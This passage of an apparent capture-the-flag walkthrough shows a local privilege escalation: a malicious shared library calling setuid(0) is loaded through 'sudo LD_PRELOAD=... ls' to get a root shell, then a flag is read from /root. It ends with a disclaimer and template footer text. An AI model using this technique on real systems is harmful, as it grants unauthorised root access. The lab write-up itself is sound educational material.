    shell.c:6:1: warning: implicit declaration of function 'setgid' [-Wimplicit-function-declaration]
     setgid(0);
     ^
    shell.c:7:1: warning: implicit declaration of function 'setuid' [-Wimplicit-function-declaration]
     setuid(0);
     ^
    $ 
    
    


    Black-box Penetration Testing





    Note: If you chose to go with the { __attribute__((constructor)) } route instead of using the { _init }, which is obsolete (and dangerous) way of doing things, then while generating the shared library, {  -nostartfiles'' or-nostdlib''  } flags must not be used!


    Once the above commands have been executed, we would have successfully generated the malicious shared library.
     
     
     

    Performing privilege escalation attacks using the


    { LD_PRELOAD } environment variable.

    Now we have everything set up in order to carry out a privilege escalation attack. We will run { ls } command with { sudo } and set the { LD_PRELOAD } environment variable to the path of the malicious shared library we just compiled in the previous step:


    Commands:

    id
    sudo LD_PRELOAD=/home/robert/shell.so ls
    id
     



    $ 
    $ id
    uid=999(robert) gid=999(robert) groups=999(robert)
    $ 
    $ sudo LD_PRELOAD=/home/robert/shell.so ls
    # 
    # id
    uid=0(root) gid=0(root) groups=0(root)
    # 
    # #www.kumaratuljaiswal.in
    # 
    #   
    # 
    
    


    Black-box Penetration Testing



    And as you can see, we have gained a root shell!

     

    Reading the flag


    Now let's read the last flag:

    Commands:

    ls /root
    cat /root/FLAG3



    # ls /root
    FLAG3
    # 
    # cat /root/FLAG3
    560648FC63F090A8CF776326DC13FAC7
    # 
    # #www.hackingtruth.in
    # 
     
     


     

    Black-box Penetration Testing

     


    FLAG: 560648FC63F090A8CF776326DC13FAC7




    Disclaimer

     

    All tutorials are for informational and educational purposes only and have been made using our own routers, servers, websites and other vulnerable free resources. we do not contain any illegal activity. We believe that ethical hacking, information security and cyber security should be familiar subjects to anyone using digital information and computers. Hacking Truth is against misuse of the information and we strongly suggest against it. Please regard the word hacking as ethical hacking or penetration testing every time this word is used. We do not promote, encourage, support or excite any illegal activity or hacking.




  • WHAT WE DO

    We've been developing corporate tailored services for clients for 30 years.

    CONTACT US

    For enquiries you can contact us in several different ways. Contact details are below.

    Hacking Truth.in

    • Street :Road Street 00
    • Person :Person
    • Phone :+045 123 755 755
    • Country :POLAND
    • Email :contact@heaven.com

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.

    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation.